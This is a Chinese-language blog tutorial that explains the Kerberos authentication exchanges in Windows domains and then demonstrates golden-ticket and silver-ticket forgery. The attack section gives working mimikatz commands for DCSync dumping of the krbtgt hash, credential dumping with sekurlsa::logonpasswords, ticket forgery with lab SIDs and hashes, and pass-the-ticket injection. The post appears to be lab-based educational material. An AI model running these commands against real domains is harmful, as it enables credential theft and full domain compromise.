Kerberos与票据的爱情故事

0x01.Kerberos认证原理

Kerberos是一种认证机制。目的是通过密钥系统为客户端/服务器应用程序提供强大的可信任的第三方认证服务:
保护服务器防止错误的用户使用,同时保护它的用户使用正确的服务器,即支持双向验证。kerberos最初由MIT
麻省理工开发,微软从Windows 2000开始支持Kerberos认证机制,将kerberos作为域环境下的主要身份认证
机制,理解kerberos是域渗透的基础。

0x02. kerberos认证框架

kerberos机制中主要包含三个角色:Client、Server、KDC(Key Distribution Center)密钥分发中心
Client代表用户,用户有自己的密码,Server上运行的服务也有自己的密码,KDC是受信任的三方认证中心,
它拥有用户和服务的密码信息。

KDC服务默认会安装在域控中,Client想要访问Server的服务(xxx service),前提是通过KDC认证,再
由KDC发放的票据决定Client是否有权限访问Server的服务

铺垫小知识:

KDC(Key Distribution center): 密钥分发中心,在域环境中,KDC服务默认会安装在域控中。
AS(Authentication Service): 认证服务,验证client的credential(身份认证信息),发放TGT。
TGT(Ticket Granting ticket): 票据授权票据,由KDC的AS发放,客户端获取到该票据后,以后申请其他应用的服务票据(ST)时,就不需要向KDC的AS提交身份认证信息(credential),TGT具有一定的有效期。由 KBRTGT HASH 加密的 sessionkey-as 和 Timestamp 等信 息
TGS(Ticket Granting Service): 票据授权服务,验证TGT,发放ST。
ST(Service Ticket): 服务票据,由KDC的TGS发放,是客户端应用程序访问Server某个服务的凭证,Server端验证通过则完成Client与Server端信任关系的建立。

Session key: 用来加密client和TGS之间传输的数据。
Server session key: 用来加密client和server之间传输的数据。

首先Client想要访问Server的某个服务,就需要通过KDC的认证,获取到服务票据(ST),
服务会验证服务票据(ST)来判断Client是否通过了KDC认证。为了避免Client每次
访问Server的服务都要向KDC认证(输入密码),KDC设计时分成了两个部分,一个是AS,另一个是TGS;
AS接收Client的认证信息,认证通过后给Client发放一个可重复使用的票据TGT,后续Client使用这个TGT向TGS请求ST即可

这是一个简单的认证流程

0x03. 详细认证流程

The Authentication Service Exchange(认证服务器):
Client 与 AS 的交互AS_REQ•AS_REP

Ticket-Granting Service (TGS) Exchange(票据授予服务器):
Client 与 TGS 的交互 TGS_REQ•TGS_REP

The Client/Server Authentication Exchange(pc和要访问的服务):
Client 与 Server 的交互 AP_REQ•AP_REP

第一步 Client 与 AS 的交互

用户登录阶段,通常由用户(admin)输入[用户名][密码]信息,在客户端侧,用户输入的密码信息被一个单向 Hash 函数生成 Client 密钥,即 admin 的 NTLM Hash:

Pre-authentication data: 就是用client对应的master key加密了一个timestamp。
Client info: client用户信息
Server info: 这里并不是Client真正要访问的Server的名称,实际上是KDC的Ticket Granting Service的Server Name。

AS_REQ(请求):

KDC端收到该请求后,Authentication service用client info部分信息,在AD(account database)中查询该client name对应的master key,并对pre-authentication data数据进行解密,如果可以提取出一个合法的时间戳,那就说明该用户是合法的,验证通过,并回复KRB_AS_REP给client。

AS_REP(返回)
AS 收到用户认证请求后,AS 根据请求中的 用户名 AA 信息,从数据库中查找用户名是否存在。如果 用户名 AA 存在,则从 KDC 中可以获取 用户 AA 的密码,使用单向函数为该密码生成一个 Client 密钥(即NTLM Hash)。AS 生成随机字符串 Client/TGS Session Key,使用 Client 密钥(用户 AA 的密码 NTLM Hash)对 Client/TGS Session Key 加密得到 sessionkey_as;
再使用 TGS 密钥(krbtgt 用户的 NTLM Hash)对 Client/TGS Session Key 、 Client Info 和 Timestamp 加密,得到 TGT(TGT票据)。
将 sessionkey_as 和 TGT 一起返回给 Client。
Client 收到 AS 的响应消息后,利用自身的 Client 密钥(AA 的 NTLM Hash)对sessionkey_as 解密,这样就获取到 Client/TGS Session Key。

在 KDC 中存储了域中所有用户的密码 hash,当 AS 接受到 Client 的请求后会根据 KDC 中存储的密码来解密,解密成功并且验证信息。验证成功后返回给 Client 由 Client 密码 hash 加密的 sessionkey-as 和 TGT

总体来说,KRB_AS_REP分为两部分:
1、 用client master key对session key进行加密后的值。Session key是KDC随机生成的UUID,用于client和TGS服务之间的数据加密、认证
2、 用KDC master key值对TGT进行加密。这部分client解不了。由此处也可以看出,TGT包括三个部分,分别是session key、client name、end time。
(当响应信息里面有KDC Hash,即可伪造黄金票据)

第二步、Client 与 TGS 的交互

当client端接收到AS_REP时,client使用client master key对KRB_AS_REP的第一部分信息进行解密,得到session key,并再次拼装出TGS_REQ请求体,向KDC的TGS发出请求

请求结构如下,TGS_REQ请求体包括:Session key(client info+时间戳)、TGT、client info、server info;

其中,server info就是该client真正要访问的server,步骤一AS_REQ中的不一样;】
TGS-REQ(请求):
当TGS服务收到到client请求体KRB_TGS_REQ时,因为TGS端并没有session key,只能先利用TGS的master key去解TGT部分内容,得到session key,再去解Session key(client info+时间戳)部分,从而验证该用户是否是AS颁发给该client的。验证通过后,给client回复KRB_TGS_REP给client

TGS-REP(返回):
TGS 收到请求后,检查 KDC 数据库中是否存在所请求的服务(Service ID)。如果存在,TGS 使用 TGS 密钥(krbtgt 的 NTLM Hash)解密 TGT,得到 Client/TGS Session Key、timestamp、Client info;同时使用从 TGT 中解密得到的 Client/TGS Session Key去解密 Authenticator2,得到 Client info 和 timestamp。比对 Authenticator2 和TGT 的解密内容以验证通过。
•TGS 比对 Authenticator2 包含的 Client ID 和 TGT 中的 Client ID•比较时间戳(误差范围在2分钟)•通过生命周期字段检查 TGT 是否过期•检查 Authenticator2 已经不再 TGS 的缓存中•若原始请求中的网络地址不为 NULL,比较 TGT 中的 IP 和请求的 IP
验证成功后,随机生成 Client 所请求服务的会话密钥 Client/Server Session Key;
使用 Server 密钥(即服务器计算机的NTLM Hash)对 Client/Server Session Key、Client Info(包含 Client ID)、TimeStamp 加密得到 Client-To-Server Ticket(也称为 ST 票据);
使用 Client/TGS Session Key 对 Client/Server Session Key 加密得到sessionkey_tgs
最终将 Client-To-Server Ticket、sessionkey_tgs 返回给 Client。

第三步

Client 向 SS(Service Server)发送服务请求
AP-REQ:
Client 收到 Client-To-Server Ticket、sessionkey_tgs 之后,使用Client/TGS Session Key 对 sessionkey_tgs 解密得到 Client/Server Session Key,然后使用 Client/Server Session Key 对 Client Info 和 timestamp 加密得到Authenticator3;将 Authenticator3 和 Client-To-Server Ticket 发送给所请求服务的服务器(Service Server)。

Service Server 响应 Client

Service Server 收到客户端的服务访问请求之后,利用 Server 密钥(Server 的 ntlm Hash)对 Client-To-Server Ticket 解密,提取出 Client/Server SessionKey、Client ID 等信息。Service Server 使用 Client/Server SessionKey 对 Authenticator3 解密得到 Client ID 和 TimeStamp。

Service Server 发送最后的验证消息——用 Client/Server SessionKey 加密的 Timestamp 和 Service ID 数据包给 Client。
Client 收到之后,使用缓存的 Client/Server SessionKey 解密提取 Timestamp 信息,然后确认该信息与 Client 发送的 Authenticator3 中的 Timestamp 信息是否一致。验证通过后,在定义的通讯周期内,Client 可以使用票据请求 Service。

总结

第一步(返回TGT):

AS 的响应消息中有一条是属于 Client 的,有一条是 TGS 的。•TGT 的到期时间为 8 小时,如果超过了 8 小时,还需要重新申请 TGT,不能之间进入下一步获取 Ticket。
•KDC 返回的 TGT 客户端是无法解密的,因为它没有 KDC Hash,如果有,我们就可以伪造黄金票据

第二步:

认证通过后TGS生成使用Logon Session Key(SKDC-Client)加密过用于Client和Server之间通信的Session Key(SServer-Client),Server的Master Key进行加密的ST(Service Ticket)

(1).经过 Logon session key加密的Client和Server之间的Session Key
(2).经过Server的Master Key进行加密的ST(Service Ticket)。

Ticket大体包含以下一些内容:
Session Key(SServer-Client)
Domain name\Client。
Ticket的到期时间。

Client 收到TGS的响应,使用 Logon session key,解密第一部分后获得 Session Key (注意区分 Logon Session Key 与 Session Key 分别是什么步骤获得的,及其的区别)。有了 Session Key 和 ST(Service Ticket), Client 就可以直接和 Server 进行交互,而无须在通过 KDC 作中间人了。

第三步:

白银票据不与KDC交互,伪造Ticket直接与 Service server进行交互,看下第三步Client和Server认证中的请求

Server接收到客户端的数据包后,使用自己的密码Hash解密 Ticket 得出 session key,再使用 session key
解密Authenticator和timestamp即可通过验证,所以我们只需要知道 server 用户的hash可以伪造出一个 ticket,这就是白银票据

0x04. 票据传递攻击

这里介绍域内常用的两种攻击方式:黄金票据Golden ticket、白银票据SILVER TICKET

1、黄金票据Golden ticket

原理:
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,
而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash(也就是KDC hash),就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,
不用验证账户和密码,所以也不担心域管密码修改。

如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。

特点:不需要与AS进行交互,需要用户krbtgt的Hash

黄金票据的条件要求:
1.域名称
2.域的SID 值
3.域的KRBTGT账户NTLM密码哈希

第一步:
先使用 mimikatz抓去krbtgt的hash
lsadump::dcsync /user:krbtgt

提取出里面的sid和NTLM hash

SID: S-1-5-21-4098506371-3349406080-1400905760
NTLM Hash: 9f7afad7acc9f72b7e338b908795b7da

kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-1720693672-3610745784-2269473857 /krbtgt:1176ad25a126d316ed5ea4b60b3d71dd /ticket:administrator.kiribi [制作票据]

kerberos::golden /admin:需要伪造的用户名 /domain:域名 /sid:sid /krbtgt:krbtgt的ntml hash /ticket:administrator.kiribi

/ticke参数是要存储的名字,方便后面导入

kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /krbtgt:9f7afad7acc9f72b7e338b908795b7da /ticket:administrator.kiribi

这时候创建成功了,会保存到桌面上

最后使用 kerberos::ptt administrator.kiribi 去加载票据
也可以使用 klist 去查看是否加载成功

没有成功是这样(因为我忘记截成功的图了)

白银票据

原理:
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

特点
1.不需要与KDC进行交互 2.需要server的NTLM hash

第一步:上传mimikatz到桌面

执行命令 mimikatz64.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

当然,也可以分依次执行

银票和金票差不多,需要sid和hash

使用方法:
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt

其中的用户名可以随便写

服务类型可以从以下内容中来进行选择,因为我们没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造

构造好payload
kerberos::golden /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /target:DC.zkaq.cn /service:cifs /rc4:9f7afad7acc9f72b7e338b908795b7da /user:test /ptt

posted @ 2020-10-23 13:52  0X7e  阅读(258)  评论(0编辑  收藏  举报